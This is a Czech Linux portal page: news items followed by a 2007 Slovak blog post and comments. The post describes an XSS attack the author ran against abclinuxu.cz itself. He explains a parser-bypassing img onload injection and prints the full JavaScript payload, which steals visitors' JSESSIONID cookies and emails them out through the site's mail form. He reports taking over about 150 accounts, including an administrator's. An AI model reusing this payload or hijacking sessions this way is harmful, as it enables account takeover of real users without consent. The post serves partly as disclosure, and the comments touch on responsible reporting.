Byla vydána nová verze 10.0 z Debianu vycházející linuxové distribuce DietPi pro (nejenom) jednodeskové počítače. Přehled novinek v poznámkách k vydání. Vypíchnout lze nové balíčky ownCloud Infinite Scale a Uptime-Kuma.
Byla vydána nová verze 3.0.8 svobodné aplikace pro úpravu a vytváření rastrové grafiky GIMP (GNU Image Manipulation Program). Přehled novinek v oznámení o vydání a v souboru NEWS na GitLabu. Nový GIMP je již k dispozici také na Flathubu.
Microsoft poskytl FBI uživatelské šifrovací klíče svého nástroje BitLocker, nutné pro odemčení dat uložených na discích třech počítačů zabavených v rámci federálního vyšetřování. Tento krok je prvním známým případem, kdy Microsoft poskytl klíče BitLockeru orgánům činným v trestním řízení. BitLocker je nástroj pro šifrování celého disku, který je ve Windows defaultně zapnutý. Tato technologie by správně měla bránit komukoli kromě
… více »Spotify prostřednictvím svého FOSS fondu rozdělilo 70 000 eur mezi tři open source projekty: FFmpeg obdržel 30 000 eur, Mock Service Worker (MSW) obdržel 15 000 eur a Xiph.Org Foundation obdržela 25 000 eur.
Nazdar! je open source počítačová hra běžící také na Linuxu. Zdrojové kódy jsou k dispozici na GitHubu. Autorem je Michal Škoula.
Po více než třech letech od vydání verze 1.4.0 byla vydána nová verze 1.5.0 správce balíčků GNU Guix a na něm postavené stejnojmenné distribuci GNU Guix. S init systémem a správcem služeb GNU Shepherd. S experimentální podporou jádra GNU Hurd. Na vývoji se podílelo 744 vývojářů. Přibylo 12 525 nových balíčků. Jejich aktuální počet je 30 011. Aktualizována byla také dokumentace.
Na adrese gravit.huan.cz se objevila prezentace minimalistického redakčního systému GravIT. CMS je napsaný ve FastAPI a charakterizuje se především rychlým načítáním a jednoduchým ukládáním obsahu do textových souborů se syntaxí Markdown a YAML místo klasické databáze. GravIT cílí na uživatele, kteří preferují CMS s nízkými nároky, snadným verzováním (např. přes Git) a možností jednoduchého rozšiřování pomocí modulů. Redakční
… více »Tým Qwen (Alibaba Cloud) uvolnil jako open-source své modely Qwen3‑TTS pro převádění textu na řeč. Sada obsahuje modely VoiceDesign (tvorba hlasu dle popisu), CustomVoice (stylizace) a Base (klonování hlasu). Modely podporují syntézu deseti různých jazyků (čeština a slovenština chybí). Stránka projektu na GitHubu, natrénované modely jsou dostupné na Hugging Face. Distribuováno pod licencí Apache‑2.0.
Svobodný citační manažer Zotero (Wikipedie, GitHub) byl vydán v nové major verzi 8. Přehled novinek v příspěvku na blogu.
Včera (23.07.2007) o 10:00 ráno ste určite mnohí narazili na podozrivo vyzerajúci zápis do blogu s názvom KUPUJEM portal abclinuxu.cz. Jednalo sa samozrejme o hoax, za ktorý sa všetkým ospravedlňujem. Nikto síce jeho obsahu príliš neveril, avšak svoj účel splnil - prilákať čo najväčšiu pozornosť. Fakt, že zápis obsahoval zákerný JavaScript, bol pred očami všetkých (alebo väčšiny) návštevníkov skrytý.
XSS je útok založený na schopnosti útočníka vložiť do stránky nejaký kód (HTML, JavaScript prípadne oboje) pomocou speciálne formulovaného linku alebo vstupu do formulára. Veľmi bežným príkladom sú napríklad prihlasovacie formuláre, ktoré sa svojim používateľom snažia veci uľahčiť. Po vložení loginu a hesla a za predpokladu, že heslo nebude správne, nám server vygeneruje formulár s už vyplneným loginom (rovnakým, aký bol zadaný). Formulár by mohol vyzerať napríklad takto:
<form action="login.php" method="post"> <input type="text" name="login" value=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Ak vstup, v tomto prípade samotný login, nie je korektne ošetrený od tzv. metaznakov (úvodzovky, apostrofy, je väčšie ako, je menšie ako, ...), útočník bude schopný do stránky vložiť svoj kód. Povedzme, že do vyššie uvedeného formulára zadáme do kolonky login tento reťazec (heslo dáme ľubovoľné):
"><script>alert('hack!');</script><q q="
Server, snažiac sa ušetriť nám náš drahocenný čas, vráti prihlasovací formulár a do kolonky login doplní nami zadaný reťazec. Vznikne tým niečo takéto:
<form action="login.php" method="post">
<input type="text" name="login" value=""><script>alert('hack!');</script><q q="">
<input type="password" name="heslo">
<input type="submit" value="Odoslat">
</form>
Pre pochopenie tohto útoku je najskôr potrebné porozumieť spôsobu, akým sa prihlasovanie a následné overovanie používateľov na weboch vykonáva.
Ihneď po prihlásení nejakého používateľa mu server vygeneruje unikátny identifikátor (reťazec náhodných znakov), ktorý zašle naspäť jedným z týchto dvoch spôsobov:
Tento identifikátor (označovaný ako SESSION_ID) sa následne počas trvania sedenia používa ako akési dočasné heslo. Server si ho priradí k určitému používateľovi a _každého_, kto mu tento identifikátor zašle, považuje za daného, autentifikovaného, používateľa a povolí mu prístup na jeho konto už bez ďaľšieho zadávania loginu a hesla. Po odhlásení je SESSION_ID na strane serveru vymazané (a teda už viac nepoužiteľné).
Session hijacking (alebo 'Krádež sedenia') spočíva v zmocnení sa SESSION_ID už prihláseného používateľa. Každý, komu sa to podarí, bude vystupovať ako daný používateľ a to _bez_ nutnosti zadávať login alebo heslo.
Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.
Parser sa mi podarilo oklamať týmto HTML kódom:
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.
Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):
var cookie = '';
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Najskôr som si ho chcel proste zaslat pomocou nejakého môjho skriptu niekde na webe (proste donútiť 'obeť' navštíviť niečo takéto: azuritov_web/skript.php?id=session_id ) avšak aby to bolo úplne transparentné, musel som na to použiť JavaScriptový 'XMLHttpRequest'. Narazil som však na problém: XMLHttpRequest sa bez výslovného povolenia od používateľa (v podobe dialógového okna vysvetlujúceho riziko) nepripojí mimo URL stránky, na ktorej JavaScript beží. Inými slovami, na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Pod mojími prstami následne vznikol tento kód (trochu skrátený):
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
var pole = xmlhttp.responseText.split(' ');
var kod = '';
var part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!
Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.
Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).
Nakoniec som sa od Leoša dozvedel, že sa vlastne jednalo o takmer _rok_ starú dieru, ktorej sa zjavne venovalo priliš málo času a postupne upadla do zabudnutia. Viz. bug #544. Chyba sa nenachádzala priamo v abclinuxu ale v knižnici htmlparser (v ktorej bola medzičasom opravená). Leošovi tento 'prešľap' netreba mať za zlé: Má toho naozaj veľa, takže sa ani nečudujem, že sa sem-tam niečo podobné objaví. Hlavne, že sa to dobre skončilo :) .
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="
var kod = '';
var cookie = '';
var xmlhttp = null;
function get_mail_data() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText != null) {
var pole = xmlhttp.responseText.split(' ');
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
send_cookie();
}
}
function get_mail() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.onreadystatechange = get_mail_data;
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
}
}
function send_cookie() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
}
}
get_mail();
">>
Tiskni
Sdílej:
Ale právě proto jsem to formuloval tak, abys mi nemoh vyčítat, že ti něco vyčítám
+1
ze jmena bloku to bylo partné : test2 
Jinak tohle je parádní blog, spíše to beru jako ukázkovou security kapitolu. V porovnání s blogy typu "Zkoušel jsem Gentoo, tak a tak...." je tohle alespoň něco pořádného.
Já bych v blocích psal samí blbosti, tak jsme s tím radči ani nezačal.
ze jmena bloku to bylo partné : test2Co je patrné? Copak nemůže být testovací zápisek v normálním blogu? Je nutné kvůli tomu vytvářet nové konto a k němu nový blog a zasírat tak abclinuxu mrtvými účty?
proste musis sa na nieco stazovat, tak si najdes hocijaku blbost.a) Proč myslíš, že si musím stěžovat? b) Nepovažuji to za blbost, proto o tom mluvím.
keby si chcel, tak to zmazat ide.Ano, technicky to možné je, ale udělat to nemůžeme, protože bychom tím smazali komentáře dalších uživatelů.
na abicku su doslova stovky nepouzivanych kont a urce velka kopa nepouzivanych blogov.A protože jich tu je spousta, tak jeden další už nevadí? Já bych raději, kdyby tu nebyly žádné nepoužívané účty a žádné nepoužívané blogy. Takže mi vadí každý další.
chces mi povedat, ze do majitela kazdeho jedneho z nich si tiez takto 'huboval' ako teraz do mna ? pochybujem o tom..No vidíš, pleteš se. Kdykoliv jsem si všiml, že někdo založil zbytečně nový účet, tak jsem ho na to upozornil a zeptal se, co ho k tomu vedlo. Kdykoliv někdo napíše požadavek, abych nějaké dva účty sloučili a ten starší (ke kterému třeba zapomněl heslo) vymazali, tak se to snažíme udělat. Takže jsem si nezasedl na tebe. Napsal bych to stejně komukoliv jinému - a nebylo by to poprvé.
Pak je tu jeste faktor nevdeku. Nekteri ctenari na chybu upozorni stylem "vy lumpove, nefunguje vam RSS, urcite to delate kvuli reklame". Nebo "pred hodinou jsem vam poslal upozorneni na chybu, ocekaval jsem okamzitou reakci a nic, zjevne je vam to uplne jedno". Pripadne "Proc nezabanujete trolla XY? Urcite to delate kvuli impresim reklame. Neplatite si ho nahodou, aby vam zvysoval navstevnost?". Pak to chce hodne trpelivosti, aby clovek nereagoval podrazdene.
)
Je to takový problém, že někde v DB je pár řádků navíc?Ne. Ale třeba v přehledu všech blogů to už tak jedno není.
kdybyste CHTĚLI, aby to šlo smazat (i přes to, že tam jsou komentáře), tak by to šlo. To víme oba dva.No samozřejmě, že by to technicky šlo. Ale tím bychom smazali komentáře všech těch lidí, kteří na zápisek reagovali - a proto to nemůžeme udělat. To víme oba dva, že? Já nemám nic proti zápisku, odhalení chyby v abíčku, ani proti diskuzi pod tím (naopak to oceňuji a jsem rád, že na to azurit upozornil). Mně vadí jen to, že kvůli tomu byl zbytečně založen další účet a blog.
Nemyslím, že tohle je dobré přirovnání. Hodilo by se spíše něco jako:
"Kdyby každý položil na ulici prázdnou krabici, neměl by je právě orgán k tomu pověřený sebrat a vyhodit?? I kdyby byly plné bordelu."Za předpokladu ignorování ideálního stavu neexistence nežádoucích krabic
neuvedomil si jej mozne nasledky (a vlastne preto jej nevenoval az taku pozornost, aku si 'zasluzila').Což je mimochodem hezký praktický příklad toho, proč raději než si s chybou nejdřív „pohrát“ je lepší nalezenou chybu rovnou oznámit adminovi nebo autorovi, který si asi snáz dovede dát dohromady možné následky. A to teď nemyslím jen tento konkrétní případ, ale obecně.